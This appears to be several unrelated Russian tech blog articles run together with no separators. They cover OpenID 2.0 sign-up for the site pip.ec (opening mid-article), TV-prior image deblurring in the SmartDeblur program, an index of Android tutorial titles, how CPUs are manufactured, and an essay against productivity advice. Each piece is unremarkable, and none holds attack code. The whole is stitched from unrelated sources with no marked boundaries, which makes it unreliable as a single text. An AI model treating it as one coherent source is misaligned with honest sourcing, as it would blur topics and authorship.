Интерфейс
Теперь насчет интерфейса.
Мне кажется, учить пользователей, что такое OpenID — дохлый номер. И стоит исходить из того, что даже просто употребление незнакомого слова «OpenID» может отпугнуть обычного человека. У среднего пользователя есть почта и аккаунт во вконтакте или на одноклассниках, все. В том, что моя сестра не хочет въезжать в какие-то непонятные штуки со странными названиями (такие, как OpenID), нет ничего плохого, это абсолютно нормально. Большинство людей, думаю, вообще никогда не узнает, что такое OpenID. Из этой предпосылки предлагаю и строить пользовательский интерфейс.
Вот мой вариант такого интерфейса:
Собственно говоря, это и есть форма регистрации/авторизации на сайте pip.ec. Пользователю не нужно проверять почту, активировать аккаунт, придумывать логин и пароль. Более того, в удачном случае не нужно вообще ничего вводить с клавиатуры, 2 щелчка мышью и все, человек зарегистрирован.
Но все это теория, которая может вызвать разные вопросы (не испугаются ли люди перехода на другой сайт, будут ли нажимать «авторизовать» и т.д.), на которые ответить может только практика. Так что же на практике?
Практика
Кроме регистрации по OpenID на сайте pip.ec сделана и возможность обычной регистрации. Статистика такая: с помощью OpenID зарегистрировано больше людей, чем обычным способом. На сайте нет ни единого упоминания слова OpenID. Людей, регистрирующихся обычным способом и имеющих почту на гмейле, яндексе или рамблере — вообще единицы. Из тех, кто регистрируется обычным способом, половина — пользователи mail.ru.
Выводы
Вывод из всего этого: OpenID 2.0 при правильном подходе упрощает жизнь пользователям и увеличивает число регистраций. В нем нет ничего гиковского и маргинального в том смысле, что пользователям совершенно не обязательно знать, что у вас регистрация-авторизация происходит через OpenID.
Реализация, технические подробности
Насчет реализации. Во-первых, небольшная справка, адреса провайдеров openid (уберите знаки подчеркивания):
Google: _https://www.google.com/accounts/o8/id
Yandex: _http://openid.yandex.ru/
Rambler: _http://rambler.ru/
Во, вторых, насчет библиотек для работы с openid. Уверен, что для разных языков есть множество библиотек, поддерживающих OpenID 2.0, если в комментариях их напишут — сюда добавлю. У меня же все написано на джанго, код немного специфичный и в отдельное приложения я его не выделял. Для джанго предложил бы попробовать новый проект, который написал Александр Коваль (сам не пробовал), или вот это хорошее приложение: django-authopenid, или вот это: scipio.
В-третьих, всем интересующимся очень рекомендую блог и форум про OpenID у Ивана Сагалаева (который, к слову, тоже грозится зарелизить в скором времени зарелизил правильный openid-консумер для python/django). Если что-то про OpenID не ясно, почитайте оттуда статью: OpenID: мифы и суеверия, на нее уже была как-то ссылка на хабре.
Все, что я тут понаписал — далеко не новость, просто решил все немного систематизировать и донести до большей аудитории. Дело в том, что да, это все вроде не новость, а проектов, использующих описанный подход, не видно у нас.
И еще, обращение к команде mail.ru. Вдруг кто-то из них статью прочитает. Пожалуйста, станьте провайдером OpenID 2.0. Рано или поздно разработчики просекут фишку и станут более массово делать сайты с тремя кнопками «яндекс, гмейл, рамблер». Всем: и mail.ru, и пользователям, и разработчикам будет лучше, если вместо 3х кнопок будет 4: «яндекс, гмейл, мейл, рамблер».
Если вам тоже кажется, что было бы здорово, чтоб mail.ru стал провайдером OpenID 2.0, можно еще написать побольше писем в техническую дирекцию mail.ru, адрес есть тут: corp.mail.ru/contacts.html
Представляю вашему вниманию заключительную статью из трилогии «Восстановление расфокусированных и смазанных изображений». Первые две вызвали заметный интерес — область, действительно, интересная. В этой части я рассмотрю семейство методов, которые дают лучшее качество, по сравнении со стандартным Винеровским фильтром — это методы, основанные на Total Variaton prior.
Также по традиции я выложил новую версию SmartDeblur (вместе с исходниками в open-source) в которой реализовал этот метод. Итоговое качество получилось на уровне коммерческих аналогов типа Topaz InFocus. Вот пример обработки реального изображения с очень большим размытием:
Введение
Описывать базовую теорию деконволюции здесь я не буду, о ней очень подробно было написано в предыдущих статьях. Тем, кто не читал их или подзабыл, рекомендую для начала ознакомиться с ними, чтобы понять терминологию и классические подходы:
Часть 1. Теория;
Часть 2. Практика.
Прежде чем перейти к описанию Total Variation (далее TV prior), необходимо понять, какие же недостатки есть у алгоритмов типа классического Винеровского фильтра? Самые основные — это эффект типа звона (периодический ореол на краях объектов) даже при небольшом уровне шума, размывание границ и мелких деталей, а также плохое шумоподавление с точки зрения человеческого восприятия. Все это сильно мешает практическому применению фильтра Винера ограничивая его применение задачами технического восстановления изображений, например для прочтения интересующих надписей.
Поэтому в последнее время было разработано большое количество самых разных методов, цель которых состоит в улучшении визуального качества. Надо заметить, что количество деталей при этом, как правило не возрастает.
Описание TV prior
Основное качество Total Variation prior с точки зрения результата — сохранение резких краев и сглаживание артефактов деконволюции. Записывается следующим образом:
К сожалению, вычисление этого функционала нельзя сделать простым образом, поскольку здесь требуется применение весьма сложных техник оптимизации.
В качестве альтернативы можно использовать сглаженный функционал вместо абсолютного значения:
Когда эпсилон стремится к нулю, результат стремится к первоначальному определению Total Variation, но процесс оптимизации становится более сложным. И наоборот, при достаточном большом эпсилон результат оптимизации будет напоминать фильтр Винера с размытием краев. К сожалению, приведенная выше формула имеет неквадратичный вид, поэтому она не может быть просто вычислена в частотном пространстве Фурье, как это получалось с фильтрами Винера и Тихонова. Поэтому необходим один из методов пошаговой оптимизации для нахождения приближенного решения — например классический метод градиентного спуска:
Где тау вычисляется по следующей формуле:
А градиент сглаженного функционала определяется как:
Количество итераций должно быть достаточно большим — несколько сотен.
Это самый базовый подход в реализации TV prior, что называется «в лоб». Тем не менее, даже он дает очень неплохие результаты. На базе его в научных публикациях появилось много исследований, которые пытаются еще улучшить качество, а также уменьшить время расчета.
Практическая реализация
Описанные формулы, в принципе, несложные, хотя и очень громоздкие в реализации. Основная проблема — достичь высокого быстродействия, т.к. количество итераций очень большое и каждая итерация содержит много сложных действий. А именно — несколько сверток изображения целиком, вычисления полного градиента и дивергенции.
Скажу сразу, добиться хорошей скорости работы мне пока не удалось, на изображении размером несколько мегапикселей время финального вычисления составляет 2-3 минуты. Но Preview работает быстро — порядка 0.2 секунды.
Сборку под Windows можно скачать по адресу:
github.com/downloads/Y-Vladimir/SmartDeblur/SmartDeblur-1.27-win.zip
Исходники (под лицензией GPL v3) доступны по ссылке: github.com/Y-Vladimir/SmartDeblur
Основные изменения по сравнению с прошлой версией, которая была описана во второй части:
- Добавлены два метода деконволюции: TV prior и фильтрация по Тихонову
- Добавлена поддержка восстановления Гауссового размытия
- Улучшена скорость работы (примерно в 2.5 раза)
- Уменьшено потребление памяти (примерно в 1.5 раза)
- Максимальный размер обрабатываемого изображения по умолчанию 3000 (но можно менять в настройках)
- Добавлена секция настроек
- Добавлен Updates Checker
- Поддержка Drag&Drop
- Добавлен Help Screen с примером изображения и советами по настройке
- Исправлен баг с рябью в режиме preview
Язык C++ с использованием Qt.
Сравнение
Ну и теперь самое главное — на какое же качество можно рассчитывать при обработке размытых изображений. Будем сравнивать с топовым коммерческим аналогом Topaz InFocus. Остальные аналоги (типа FocusMagic) уже давно не поддерживаются или дают уж совсем неприемлемые результаты обработки. Итак поехали.
Сначала возьмем рекламный пример с сайта Topaz InFocus: www.topazlabs.com/infocus/_images/licenseplate_compare.jpg
Вот результат от Topaz InFocus:
А вот результат работы SmartDeblur при следующих параметрах:
Type: Motion Blur, Length: 10.1, Angle: -45, Smooth: 60%
Как видим, результаты очень схожие. И не так очевидно, что лучше. Topaz InFocus, судя по всему, тоже использует алгоритм, похожий на TV prior плюс пост-обработка в виде шарпинга краев. Надо заметить, что приведенное исходное смазанное изображение, с очень большой вероятностью, является синтетическим. Т.е. взято неискаженное изображение и применен фильтр Motion Blur. Это видно по практически идеальному восстановлению, а также по подозрительно целым параметрам искажения — угол 45 градусов и длина 10 пикселей.
Теперь возьмем реальное изображение, которое я вчера сфоткал на свой Canon 500D с ручным уводом фокуса:
Результат от Topaz InFocus при следующих параметрах:
Type: Out-of-Focus, Radius: 5.5, Suppress Artifacts: 0.34
Результат SmartDeblur при следующих параметрах:
Type: Out of Focus, Radius: 5.9, Smooth: 60%
Тут ничья, можно сказать. Параметры в каждой программе подбирались так, чтобы обеспечить наилучшее качество.
Еще один реальный пример снятый мною:
Результат SmartDeblur при следующих параметрах:
Type: Motion Blur, Length: 6.6, Angle: -37, Smooth: 53%
Выводы
Подошла к концу третья заключительная статья. Получилась она не особо большой, но, надеюсь, будет полезной. Как видим полученное качество обработки уже вполне приемлемо для реального применения. Основная проблема, которая остается — в местах, где есть светлые объекты, после обработки получается заметный эффект звона. Думаю, это связано с тем, что на светлых участках нарушается линейность отображения яркости пикселей, что дает неверную интерпретацию о его реальной яркости. Возможно, нужна логарифмическая предобработка яркости, либо еще что-то.
Еще раз напомню:
Сборку под Windows можно скачать по адресу:
github.com/downloads/Y-Vladimir/SmartDeblur/SmartDeblur-1.27-win.zip
Исходники (под лицензией GPL v3) доступны по ссылке: github.com/Y-Vladimir/SmartDeblur
И как обычно — буду очень рад замечаниям и предложениям по SmartDeblur!
Кто будет пробовать программу — учтите, что параметр качества Smooth в режиме превью и в режиме High-Quality ведет себя весьма по-разному. Поэтому финальный результат ползунка сглаживания можно оценить только после завершения просчета High-Quality.
P.S. Огромная просьба ко всем, кто мне пишет на почту. После публикации двух предыдущих статьей мне пришло (и продолжает приходить) большое количество писем с просьбой восстановить номера машин на кадрах с камер видеонаблюдения, когда весь номер занимает площадь несколько пикселей.
Я этим не занимаюсь! SmartDeblur этого тоже делать не умеет. Это задача совсем другого рода, а именно Super-Resolution, когда из нескольких изображений малого разрешения получается изображение высокого разрешения с новыми деталями, которых не было на исходных данных. Может быть когда-нибудь ей и займусь, но точно не в ближайшее время.
UPDATE Ссылка на продолжение:
Blind Deconvolution — автоматическое восстановление смазанных изображений
--
Vladimir Yuzhikov (Владимир Южиков)
С чего начать?
Пишем своё первое приложение на Android
Пишем первое приложение для Android
Создаем файловый менеджер
Основы программирования под Android на примере игры Судоку
Создание приложения в стиле Android
Спокойной ночи!
Конкретные моменты
Хранение данных в SQLite
Сервисы — это просто
Создание QuickAction диалогов
Диалоговое окно Android с «иконифицированным» меню
Android Calendar API
Использование NumberPicker и кастомизация его внешнего вида
Использование Android Search Dialog. Часть 1
Использование Android Search Dialog. Часть 2
Использование Android Search Dialog. Часть 3
Программирование под Android — взаимодействие с сенсорным экраном
Оповещение пользователя: Toast
Работа со строкой состояния в Android
Настройки в Android-приложении
Работа с камерой в Android
Работа с камерой в Android: снимаем видео
Программируем LED
Простой пример выполнения HTTP-запроса к web-сервису и разбор XML-ответа
SeekBar в настройках приложения
Простое использование AsyncTask и ProgressDialog в Android
Hello World widget для Android
Подсвечиваемый виджет в Android
Тестирование Android приложений
Fragments API
Введение в Renderscript
Renderscript часть вторая
Эффективность
Tips and Tricks по программированию на Android
Многопоточность — как средство повышения эффективности
Практическая реализация приложений
Пишем Magic 8-Ball для Android
Тайм Менеджер для Android. Часть 1
Тайм Менеджер для Android. Часть 2
Пишем виджет ХабраКарма ex-CarmaWidget для Android
Пишем шпаргалку на Android
Пишем whois-клиент под Android
Другое
Hello, NDK!
Использование unix pipes для отображения прогресса выполнения нативного кода на Android'е
Практический опыт работы с Bitmap средствами Android
Заставляем ProgressBar крутиться пока идет http-запрос
Работа с прогресс диалогами
Стандарт разработки приложений под Android
Как реализовать загрузку изображений в список в отдельном потоке на Android
Реверс-инжиниринг android приложений
Первые впечатления от разработки под Андроидом — пишем handsfree
Отправка E-Mail средствами Android
Пишем функцию обратной связи для Android-приложения
Интегрируем Twitter в ваше Android приложение
Android nine-patch — растягиваем андроида
Вызов .NET сервиса (WCF RESTful) из Android приложения
«Правильный» html парсинг
Простой пример выполнения HTTP-запроса к web-сервису и разбор XML-ответа
Полезное
10 полезных решений для разработчика под Android
Различия между API Android SDK Platform
Удержание баланса между функциональностью и совместимостью при разработке приложения
Разработка под Android, грабли большие и не очень
Инструменты разработчика Android
Стандарт разработки приложений под Android
Архитектура Android
О совместимости Android-приложений на различных устройствах
Основные UI паттерны разработки Android приложений
Рекомендации к стилю кода
Вопросы по продвижению приложений для Android
Защита Android приложений от реверс-инжиниринга — ProGuard
Помещаем файлы из Assets на SD-карту с помощью Infles
Иконифицированное окно настроек (Preferences)
Если вы хотите внести топик в индекс, пишите мне на хабрапочту.
Сложно в это поверить, но современный процессор является самым сложным готовым продуктом на Земле – а ведь, казалось бы, чего сложного в этом куске железа?
Как и обещал – подробный рассказ о том, как делают процессоры… начиная с песка. Все, что вы хотели знать, но боялись спросить )
Я уже рассказывал о том, «Где производят процессоры» и о том, какие «Трудности производства» на этом пути стоят. Сегодня речь пойдет непосредственно про само производство – «от и до».
Производство процессоров
Когда фабрика для производства процессоров по новой технологии построена, у нее есть 4 года на то, чтобы окупить вложенные средства (более $5млрд) и принести прибыль. Из несложных секретных расчетов получается, что фабрика должна производить не менее 100 работающих пластин в час.
Вкратце процесс изготовления процессора выглядит так: из расплавленного кремния на специальном оборудовании выращивают монокристалл цилиндрической формы. Получившийся слиток охлаждают и режут на «блины», поверхность которых тщательно выравнивают и полируют до зеркального блеска. Затем в «чистых комнатах» полупроводниковых заводов на кремниевых пластинах методами фотолитографии и травления создаются интегральные схемы. После повторной очистки пластин, специалисты лаборатории под микроскопом производят выборочное тестирование процессоров – если все «ОК», то готовые пластины разрезают на отдельные процессоры, которые позже заключают в корпуса.
Уроки химии
Давайте рассмотрим весь процесс более подробно. Содержание кремния в земной коре составляет порядка 25-30% по массе, благодаря чему по распространённости этот элемент занимает второе место после кислорода. Песок, особенно кварцевый, имеет высокий процент содержания кремния в виде диоксида кремния (SiO2) и в начале производственного процесса является базовым компонентом для создания полупроводников.
Первоначально берется SiO2 в виде песка, который в дуговых печах (при температуре около 1800°C) восстанавливают коксом:
SiO2 + 2C = Si + 2CO
Такой кремний носит название «технический» и имеет чистоту 98-99.9%. Для производства процессоров требуется гораздо более чистое сырье, называемое «электронным кремнием» — в таком должно быть не более одного чужеродного атома на миллиард атомов кремния. Для очистки до такого уровня, кремний буквально «рождается заново». Путем хлорирования технического кремния получают тетрахлорид кремния (SiCl4), который в дальнейшем преобразуется в трихлорсилан (SiHCl3):
3SiCl4 + 2H2 + Si ↔ 4SiHCl3
Данные реакции с использованием рецикла образующихся побочных кремнийсодержащих веществ снижают себестоимость и устраняют экологические проблемы:
2SiHCl3 ↔ SiH2Cl2 + SiCl4
2SiH2Cl2 ↔ SiH3Cl + SiHCl3
2SiH3Cl ↔ SiH4 + SiH2Cl2
SiH4 ↔ Si + 2H2
Получившийся в результате водород можно много где использовать, но самое главное то, что был получен «электронный» кремний, чистый-пречистый (99,9999999%). Чуть позже в расплав такого кремния опускается затравка («точка роста»), которая постепенно вытягивается из тигля. В результате образуется так называемая «буля» — монокристалл высотой со взрослого человека. Вес соответствующий — на производстве такая дуля весит порядка 100 кг.
Слиток шкурят «нулёвкой» :) и режут алмазной пилой. На выходе – пластины (кодовое название «вафля») толщиной около 1 мм и диаметром 300 мм (~12 дюймов; именно такие используются для техпроцесса в 32нм с технологией HKMG, High-K/Metal Gate). Когда-то давно Intel использовала диски диаметром 50мм (2"), а в ближайшем будущем уже планируется переход на пластины с диаметром в 450мм – это оправдано как минимум с точки зрения снижения затрат на производство чипов. К слову об экономии — все эти кристаллы выращиваются вне Intel; для процессорного производства они закупаются в другом месте.
Каждую пластину полируют, делают идеально ровной, доводя ее поверхность до зеркального блеска.
Производство чипов состоит более чем из трёх сотен операций, в результате которых более 20 слоёв образуют сложную трёхмерную структуру – доступный на Хабре объем статьи не позволит рассказать вкратце даже о половине из этого списка :) Поэтому совсем коротко и лишь о самых важных этапах.
Итак. В отшлифованные кремниевые пластины необходимо перенести структуру будущего процессора, то есть внедрить в определенные участки кремниевой пластины примеси, которые в итоге и образуют транзисторы. Как это сделать? Вообще, нанесение различных слоев на процессорную подложу это целая наука, ведь даже в теории такой процесс непрост (не говоря уже о практике, с учетом масштабов)… но ведь так приятно разобраться в сложном ;) Ну или хотя бы попытаться разобраться.
Фотолитография
Проблема решается с помощью технологии фотолитографии — процесса избирательного травления поверхностного слоя с использованием защитного фотошаблона. Технология построена по принципу «свет-шаблон-фоторезист» и проходит следующим образом: — На кремниевую подложку наносят слой материала, из которого нужно сформировать рисунок. На него наносится фоторезист — слой полимерного светочувствительного материала, меняющего свои физико-химические свойства при облучении светом.
— Производится экспонирование (освещение фотослоя в течение точно установленного промежутка времени) через фотошаблон
— Удаление отработанного фоторезиста.
Нужная структура рисуется на фотошаблоне — как правило, это пластинка из оптического стекла, на которую фотографическим способом нанесены непрозрачные области. Каждый такой шаблон содержит один из слоев будущего процессора, поэтому он должен быть очень точным и практичным.
Иной раз осаждать те или иные материалы в нужных местах пластины просто невозможно, поэтому гораздо проще нанести материал сразу на всю поверхность, убрав лишнее из тех мест, где он не нужен — на изображении выше синим цветом показано нанесение фоторезиста.
Пластина облучается потоком ионов (положительно или отрицательно заряженных атомов), которые в заданных местах проникают под поверхность пластины и изменяют проводящие свойства кремния (зеленые участки — это внедренные чужеродные атомы).
Как изолировать области, не требующие последующей обработки? Перед литографией на поверхность кремниевой пластины (при высокой температуре в специальной камере) наносится защитная пленка диэлектрика – как я уже рассказывал, вместо традиционного диоксида кремния компания Intel стала использовать High-K-диэлектрик. Он толще диоксида кремния, но в то же время у него те же емкостные свойства. Более того, в связи с увеличением толщины уменьшен ток утечки через диэлектрик, а как следствие – стало возможным получать более энергоэффективные процессоры. В общем, тут гораздо сложнее обеспечить равномерность этой пленки по всей поверхности пластины — в связи с этим на производстве применяется высокоточный температурный контроль.
Так вот. В тех местах, которые будут обрабатываться примесями, защитная пленка не нужна – её аккуратно снимают при помощи травления (удаления областей слоя для формирования многослойной структуры с определенными свойствами). А как снять ее не везде, а только в нужных областях? Для этого поверх пленки необходимо нанести еще один слой фоторезиста – за счет центробежной силы вращающейся пластины, он наносится очень тонким слоем.
В фотографии свет проходил через негативную пленку, падал на поверхность фотобумаги и менял ее химические свойства. В фотолитографии принцип схожий: свет пропускается через фотошаблон на фоторезист, и в тех местах, где он прошел через маску, отдельные участки фоторезиста меняют свойства. Через маски пропускается световое излучение, которое фокусируется на подложке. Для точной фокусировки необходима специальная система линз или зеркал, способная не просто уменьшить, изображение, вырезанное на маске, до размеров чипа, но и точно спроецировать его на заготовке. Напечатанные пластины, как правило, в четыре раза меньше, чем сами маски.
Весь отработанный фоторезист (изменивший свою растворимость под действием облучения) удаляется специальным химическим раствором – вместе с ним растворяется и часть подложки под засвеченным фоторезистом. Часть подложки, которая была закрыта от света маской, не растворится. Она образует проводник или будущий активный элемент – результатом такого подхода становятся различные картины замыканий на каждом слое микропроцессора.
Собственно говоря, все предыдущие шаги были нужны для того, чтобы создать в необходимых местах полупроводниковые структуры путем внедрения донорной (n-типа) или акцепторной (p-типа) примеси. Допустим, нам нужно сделать в кремнии область концентрации носителей p-типа, то есть зону дырочной проводимости. Для этого пластину обрабатывают с помощью устройства, которое называется имплантер — ионы бора с огромной энергией выстреливаются из высоковольтного ускорителя и равномерно распределяются в незащищенных зонах, образованных при фотолитографии.
Там, где диэлектрик был убран, ионы проникают в слой незащищенного кремния – в противном случае они «застревают» в диэлектрике. После очередного процесса травления убираются остатки диэлектрика, а на пластине остаются зоны, в которых локально есть бор. Понятно, что у современных процессоров может быть несколько таких слоев — в таком случае на получившемся рисунке снова выращивается слой диэлектрика и далее все идет по протоптанной дорожке — еще один слой фоторезиста, процесс фотолитографии (уже по новой маске), травление, имплантация… ну вы поняли.
Характерный размер транзистора сейчас — 32 нм, а длина волны, которой обрабатывается кремний — это даже не обычный свет, а специальный ультрафиолетовый эксимерный лазер — 193 нм. Однако законы оптики не позволяют разрешить два объекта, находящиеся на расстоянии меньше, чем половина длины волны. Происходит это из-за дифракции света. Как быть? Применять различные ухищрения — например, кроме упомянутых эксимерных лазеров, светящих далеко в ультрафиолетовом спектре, в современной фотолитографии используется многослойная отражающая оптика с использованием специальных масок и специальный процесс иммерсионной (погружной) фотолитографии.
Логические элементы, которые образовались в процессе фотолитографии, должны быть соединены друг с другом. Для этого пластины помещают в раствор сульфата меди, в котором под действием электрического тока атомы металла «оседают» в оставшихся «проходах» — в результате этого гальванического процесса образуются проводящие области, создающие соединения между отдельными частями процессорной «логики». Излишки проводящего покрытия убираются полировкой.
Финишная прямая
Ура – самое сложное позади. Осталось хитрым способом соединить «остатки» транзисторов — принцип и последовательность всех этих соединений (шин) и называется процессорной архитектурой. Для каждого процессора эти соединения различны – хоть схемы и кажутся абсолютно плоскими, в некоторых случаях может использоваться до 30 уровней таких «проводов». Отдаленно (при очень большом увеличении) все это похоже на футуристическую дорожную развязку – и ведь кто-то же эти клубки проектирует!
Когда обработка пластин завершена, пластины передаются из производства в монтажно-испытательный цех. Там кристаллы проходят первые испытания, и те, которые проходят тест (а это подавляющее большинство), вырезаются из подложки специальным устройством.
На следующем этапе процессор упаковывается в подложку (на рисунке – процессор Intel Core i5, состоящий из CPU и чипа HD-графики).
Привет, сокет!
Подложка, кристалл и теплораспределительная крышка соединяются вместе – именно этот продукт мы будем иметь ввиду, говоря слово «процессор». Зеленая подложка создает электрический и механический интерфейс (для электрического соединения кремниевой микросхемы с корпусом используется золото), благодаря которому станет возможным установка процессора в сокет материнской платы – по сути, это просто площадка, на которой разведены контакты от маленького чипа. Теплораспределительная крышка является термоинтерфейсом, охлаждающим процессор во время работы – именно к этой крышке будут примыкать система охлаждения, будь то радиатор кулера или здоровый водоблок.
Сокет (разъём центрального процессора) — гнездовой или щелевой разъём, предназначенный для установки центрального процессора. Использование разъёма вместо прямого распаивания процессора на материнской плате упрощает замену процессора для модернизации или ремонта компьютера. Разъём может быть предназначен для установки собственно процессора или CPU-карты (например, в Pegasos). Каждый разъём допускает установку только определённого типа процессора или CPU-карты.
На завершающем этапе производства готовые процессоры проходят финальные испытания на предмет соответствия основным характеристикам – если все в порядке, то процессоры сортируются в нужном порядке в специальные лотки – в таком виде процессоры уйдут производителям или поступят в OEM-продажу. Еще какая-то партия пойдет на продажу в виде BOX-версий – в красивой коробке вместе со стоковой системой охлаждения.
The end
Теперь представьте себе, что компания анонсирует, например, 20 новых процессоров. Все они различны между собой – количество ядер, объемы кэша, поддерживаемые технологии… В каждой модели процессора используется определенное количество транзисторов (исчисляемое миллионами и даже миллиардами), свой принцип соединения элементов… И все это надо спроектировать и создать/автоматизировать – шаблоны, линзы, литографии, сотни параметров для каждого процесса, тестирование… И все это должно работать круглосуточно, сразу на нескольких фабриках… В результате чего должны появляться устройства, не имеющие права на ошибку в работе… А стоимость этих технологических шедевров должна быть в рамках приличия… Почти уверен в том, что вы, как и я, тоже не можете представить себе всего объема проделываемой работы, о которой я и постарался сегодня рассказать.
Ну и еще кое-что более удивительное. Представьте, что вы без пяти минут великий ученый — аккуратно сняли теплораспределительную крышку процессора и в огромный микроскоп смогли увидеть структуру процессора – все эти соединения, транзисторы… даже что-то на бумажке зарисовали, чтобы не забыть. Как думаете, легко ли изучить принципы работы процессора, располагая только этими данными и данными о том, какие задачи с помощью этого процессора можно решать? Мне кажется, примерно такая картина сейчас видна ученым, которые пытаются на подобном уровне изучить работу человеческого мозга. Только если верить стэнфордским микробиологам, в одном человеческом мозге находится больше «транзисторов», чем во всей мировой IT-инфраструктуре. Интересно, правда?
BONUS
Хватило сил дочитать до этого абзаца? ) Поздравляю – приятно, что я постарался не зря. Тогда предлагаю откинуться на спинку кресла и посмотреть всё описанное выше, но в виде более наглядного видеоролика – без него статья была бы не полной.
Эту статью я писал сам, пытаясь вникнуть в тонкости процесса процессоростроения. Я к тому, что в статье могут быть какие-то неточности или ошибки — если найдете что-то, дайте знать. А вообще, чтобы окончательно закрепить весь прочитанный материал и наглядно понять то, что было недопонято в моей статье, пройдите по этой ссылке. Теперь точно всё.
Успехов!
Как надоели эти тематические статьи о повышении результативности, мотивации и прочей чепухе. Зачем люди их пишут? Чтобы помочь тем, кто запутался в себе? Для тех, кому тяжело сосредоточиться? Вряд-ли это так.
Современная жизнь диктует нам, что все нужно делать быстро, добиваться максимальной эффективности. Непременно нужно быть очень успешным. Нужно двигаться к цели, каждый день, каждый час, ежеминутно. Оставив все лишнее, бросить все силы на достижение результата. Иначе нет смысла жить.
Друзья зовут выпить? От таких лучше держаться подальше, ведь если ты выпьешь с ними, то вечер потерян, а то еще и завтрашний день. А ведь это время так важно для достижения целей. Оставь этих друзей, не общайся с ними.
Плохо себя чувствуешь, устаешь, нет сил? Ерунда, брось, разве это усталость? Вот солдат на войне, он устает, но не сдается. А что ты, разве это усталость, хватит тереть сопли, вставай с дивана и вперед, достигать цели.
Не знаешь как собраться и мотивировать себя? Слабак. Читай статьи, книги, учебники методички, смотри на пример других, тех кто заставил себя достигать цели. Они непременно тебе помогут.
Не трать время на ерунду. Не смотри телевизор, не валяйся в кровати после звонка будильника, не стой в пробках и т.д. и т.п.
Некоторые особо талантливые авторы, аж слюной брызжут пытаясь мотивировать людей стать успешнее. Не можешь, не делай. Лежи, плюй в потолок. Так и останешься, забытый, не нужный, не успешный, не мотивированный. А не хочешь, подними зад и давай делай что-нибудь. Только не лежи, не сиди, не спи, не трать время и так далее. К сожалению, эти статьи слабо мотивируют, да и вообще, больше похожи на практику по словоблудию.
Надоело. Все это чушь, ерунда, ересь. Просто шум. Это все слова.
На самом деле, для каждого человека ценности жизни, успех и цели уникальны. У всех нас разные потребности, разная мотивация. И это факт. Если нет достаточной мотивации, то ее нет. И не нужно пытаться искать ее в чьих-то книгах, словах, нравоучениях. Если книга не читается, то скорее всего она вам просто не интересна, так зачем заставлять себя?
Сейчас стало очень модным быть целеустремленным, ориентированным на результат, на успешность. Если ты не работаешь над достижением какой-то цели, то ты не удачник, ты коптишь воздух, ты деградируешь. Быть не успешным не круто.
Абсолютно у каждого человека есть свои критерии душевного спокойствия и личного счастья. Для одного это крепкая семья, здоровые дети, теплый уютный дом. Для другого — крутая тачка, модный смартфон. Для третьего — быть на виду, на слуху. И так далее.
Но нам говорят, что нужно постоянно стремиться к новым вершинам, управлять временем, каждая секунда должна быть во имя чего-то. Нас обманывают, пытаются заставить жить по законам, которые чужды обычному живому человеку. Нам прививают привычку жить по расписанию, по строгим планам, идти всегда вперед. Шаг в право/влево -побег, чуть встал, задумался о чем-то и тебя уже обскакали, ты опять опоздал.
Человек не машина, он может и должен иметь слабости, поддаваться им. В этой гонке за эффективностью мы теряем себя, свое настоящее. Мы живем часто сомнительными целями, идеями которые нам чужды, надуманными, не настоящими. Но для нас пишут статьи, снимают видео-ролики, проводят семинары по мотивации. Что бы выжать из нас еще чуть-чуть, еще немного, заставить жить эффективнее.
Людям запутавшимся в собственной жизни, ищущим пути выхода из тупика, зачастую не помогают, а прививают комплексы. Ты не можешь достичь цели? Ты неудачник. Прочитал статью и до сих пор не принялся за дело? Ты жалкий неудачник. И так далее.
Что же делать тем, кто хочет что-то изменить в своей жизни? Как побороть усталость и апатию? Как найти в себе силы делать что-то? Как улучшить свою эффективность для себя?
Возможно, что очень мотивированным и успешным людям, это покажется ерундой. Но все изложенное ниже, всегда помогало мне и моим близким. Уверен, что все эти советы вы когда-нибудь слышали.
1) Возьмите паузу. Это самый важный шаг. Если вы запутались, рассредоточены, не можете взяться за дело, бросьте его на время. Дайте своей нервной системе отдых. Такое использование времени только кажется не эффективным, потраченным в пустую. На самом деле просто вспомните знаменитое выражение — “Все болезни от нервов”, оно вполне правдиво. Только одно НО, не лежите все это время в кровати пытаясь выспаться впрок. Сходите в кинотеатр в который давно хотели сходить, в цирк с детьми, с женой в ресторан, прочитайте книгу на которую не было времени. Покатайтесь на велике, на санках, на лыжах. Можете даже напиться в хлам с друзьями неудачниками.
2) Пока отдыхаете, попробуйте наладить более-менее четкий режим дня. Врачи рекомендуют спать около 8 часов в сутки. На деле, продолжительность сна у всех разная, но среднее значение все равно примерно 8 часов.
Так как вы отдыхаете сейчас, то можете прикинуть сколько нужно сна именно вам. Обязательно ложитесь спать в то время когда запланировали и вставайте вовремя, не пересыпайте. Все остальные дела в течении дня, должны быть построены так, чтобы время подъема и засыпания было одинаковым ежедневно.
Тут многие возразят, мол на работу встаю 6 утра, приезжаю домой из-за пробок только в 9 вечера, а в 10 уже надо лечь, когда же жить? А что в таком случаем имеется ввиду под словом жить? Сидеть в “одноклассниках”, или перед зомбо-ящиком? Или вы хотите меня убедить, что встав в 6 утра и приехав домой в 21 час, можно эффективно провести время до того как сон свалит вас с ног? Может быть, но на это способен далеко не каждый, и перегореть очень легко. Так что лучше спать. Помните, что сон это отдых не только для рук и ног, но и для мозга и нервной системы в целом.
3) Выделите в своем режиме дня личное время. Это может быть час в день, или целый день, может быть пол-часа по субботам. Это время только для вас, тут не может быть никакой работы. Только вы и ваше хобби или что еще. Читайте, пойте, ходите в спортзал, бегайте, да хоть с мужиками в домино у подъезда играйте. Обязательно используйте это личное время, если нет дел, просто пройдитесь по парку или по улице. Просто так, без мыслей, без цели. Это как глоток воздуха для вашей нервной системы. Время разгрузки. Лишь кажется, что такая уловка бесполезна, но попробуйте сложить эти минуты в часы, дни, недели. Не мало, правда?
4) Заведите себе карманный блокнот. Не ежедневник, а именно блокнот, без дат, чисел и пр. Их вы сможете проставить сами, когда потребуется. Поначалу он вам будет не нужен, вы не будете знать, что туда написать. Но все равно, носите его с собой. Со временем вы поймете, что записывать что-то очень удобно. Пишите туда свои мысли, интересные идеи, и все что вам кажется важным.
Эта привычка поможет вам стать более собранным, незаметно, по-тихоньку. Многие считают, что это притупляет память. Не верьте, записывать, анализировать, возвращаться к мыслям очень полезно и к тому-же такой анализ это тоже отдых для вашей нервной системы.
Только не нужно использовать для этих целей смартфон. Вам нужен именно блокнот. Живые ощущения, скрип ручки о бумагу, шуршание листков блокнота, след от чернил, неровность вашего подчерка или наоборот, его идеально выверенные штрихи. Эти ощущения очень важны, не меняйте их на дурацкие кнопки или бездушный тач-скрин.
